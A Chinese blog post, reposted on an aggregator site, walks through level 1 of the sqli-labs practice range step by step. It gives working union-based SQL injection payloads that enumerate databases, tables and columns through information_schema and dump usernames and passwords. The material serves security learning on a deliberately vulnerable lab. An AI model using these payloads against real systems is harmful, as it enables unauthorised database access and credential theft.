解密 sqli靶场第一关:一步一步学习 SQL 注入技术

这篇具有很好参考价值的文章主要介绍了解密 sqli靶场第一关:一步一步学习 SQL 注入技术。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

 

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

目录

一、判断是否存在注入点

二、构造类似?id=1' --+的语句

三、判断数据表中的列数

四、使用union联合查询

五、使用group_concat()函数

六、爆出数据库中的表名

七、爆出users表中的列名

八、爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

打开 sqli靶场第一关,以下是通关思路:

一、判断是否存在注入点

首先进行初步的试探,构造?id=1 and 1=1,页面正常

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

构造?id=1 and 1=2,页面正常

继续构造?id=1' and '1'='1,页面正常

构造?id=1' and '1'='2 ,页面无回显,判断为字符型注入。

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

二、构造类似?id=1' --+的语句

构造类似?id=1' --+的语句,我们可以在 ?id=1' 和 --+ 中间插入select语句,进行我们想要的操作。

在这个注入尝试中,' 是一个闭合单引号,用于关闭原始的查询语句中的引号,并添加注释符 -- 来注释掉后续的语句。+ 是空格的URL编码表示,用于在URL中表示空格。

三、判断数据表中的列数

这一步是为了使用union联合查询。

构造?id=1' order by 5 --+,出现如图回显,说明5超出了数据表中列的范围

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

构造?id=1' order by 4 --+,仍然超出

构造?id=1' order by 3 --+,正常回显,说明当前表只有3列

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

四、使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

构造如下语句:

?id=1' union select 1,2,schema_name from information_schema.schemata--+

后来发现只回显了数据库的第一行

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

继续构造

?id=' union select 1,2,schema_name from information_schema.schemata--+

这里去掉了id=1'中的1,使其为空。结果是我们终于回显出了数据库名

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

五、使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

这里我们可以使用group_concat()函数,一次性的把库名显示出来:

?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

六、爆出数据库中的表名

我们可以爆出数据库中的表名了,这里以information_schema为例

构造如下语句:

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

七、爆出users表中的列名

构造如下语句获得users表中的列名:

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

八、爆出users表中的数据

我们还能继续获得信息

(1)查看users表中所有的用户:

?id=' union select 1,2,group_concat(username) from security.users --+

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

(2)查看users表中所有的用户密码:

?id=' union select 1,2,group_concat(password) from security.users --+

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

(3)concat_ws(':',A,B)函数拼接信息:

这里可以用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

解密 sqli靶场第一关:一步一步学习 SQL 注入技术,网络安全,学习,安全,web安全,网络安全,数据库,青少年编程,学习方法

sqli靶场第一关通关思路到此结束文章来源地址https://www.toymoban.com/news/detail-759554.html

到了这里,关于解密 sqli靶场第一关:一步一步学习 SQL 注入技术的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)

    为了准备信息安全技术课程汇报做的笔记,想着做了也是做了,不如分享出来给想我一样的 初学者学习 。本人之前 没有做过CTF ,也 没有学过 SQL注入, 零基础 ,所以 大佬可以先行离开 。 我的汇报内容是 SQL注入 XPath注入 HTML注入 另一篇文章讲HTML注入,例子给的比较简单,

    2024年02月16日
    浏览(46)
  • 一步一步学习 Stable Diffusion

    网上看了很多 Stable Diffusion 的视频,还有一些网站的资料之后,决定自己整理一份一步一步学习 Stable Diffusion 的学习资料。 请参照 Windows 11 本地部署 Stable Diffusion web UI 或者 Windows 11 上从零开始基于 wsl-ubuntu 搭建 AI 学习环境及部署多种私有 ChatGPT 进行部署。 访问 Extensions =

    2024年02月09日
    浏览(70)
  • 基于SQLI的SQL字符型报错注入

    理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。 渗透主机:KALI平台 用户名: college 密码: 360College 目标网站:SQLI平台的Less-1科目 用户名: xxx 密码: xxx 注意:将MySQL的版本调到5.5以上,因为这样数据库内才

    2024年02月12日
    浏览(49)
  • SQLI-labs-第一关

    目录 知识点:单引号字符型注入 1、根据提示,为get注入,在url中输入内容​编辑  2、判断注入点  3、判断目前该表的字段数  4、判断回显位置 5、爆库名 6、爆表名   7、爆字段名  8、爆值 知识点:单引号字符型注入 思路: 1、根据提示,为get注入,在url中输入内容  

    2024年02月11日
    浏览(46)
  • 动手深度学习——Windows下的环境安装流程(一步一步安装,图文并配)

    文章参考来源:http://t.csdn.cn/tu8V8 安装Miniconda 根据操作系统下载并安装Miniconda,在安装过程中需要勾选“Add Anaconda to the system PATH environment variable”选项(如当conda版本为4.6.14时)。 Windows用户就选择Windows版本就可以了,按需选择32位或64位 安装好后,按下列步骤进行。 等待安

    2024年02月09日
    浏览(53)
  • Burpsuite靶场——SQL注入

    在本篇文章中,咱们将解释什么是 SQL 注入,描述一些常见的例子,解释如何发现和利用各种 SQL 注入漏洞,并总结如何防止 SQL 注入。 废话不多说,开始正篇。 SQL注入漏洞(SQL injection)是web层面最高危的漏洞之一。曾在2008-2010连续三年期间位列OWASP年度十大漏洞排行榜第一

    2024年02月07日
    浏览(48)
  • 【SQL注入漏洞-06】HTTP头部注入靶场实战

    常见的sql注入一般是 通过请求参数或者表单进行注入 ,HTTP头部注入是 通过HTTP协议头部字段值进行注入 。 产生HTTP头部注入的条件: 能够对请求头消息进行修改 修改的请求头信息能够带入数据库进行查询 数据库没有对输入的请求信息做过滤 User-Agent :是Http协议中的一部分

    2024年02月02日
    浏览(59)
  • DVWA靶场中SQL注入

    1.1.1.Low级别   1)判断注入类型当输入1和1 and 1=2的时候均能够正常返回数值,证明不是数字型输入。那么这里基本上就能够判断是字符型注入。   2)判断字符型注入。输入1’ and 1=2 #的时候出现报错,证明存在字符型注入,并且单引号闭合。   3)判断有多少列当输入

    2024年02月03日
    浏览(52)
  • Pikachu靶场—sql注入通关

    创作不易,给个关注吧,有任何问题可以评论或者私聊 关卡详情 根据图上来看,这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。确定是post请求 因为题目指出是数字型的注入,所以就不用找闭合了,直接使用 order by 探测列数,这里探测

    2024年02月13日
    浏览(46)
  • 五分钟制作sql注入靶场

    接触安全也快两个月了,学了很多安全的知识,也接触到了渗透测试,前面学习了sql注入和XSS漏洞,听郭老师说可以尝试自己搭建一个靶场,所以开始制作自己靶场! 目录 一、数据库 文件db-creds.inc 接下来创建数据库 连接数据库 二、前端 三、php 四、第二个页面 五、效果展

    2024年02月15日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包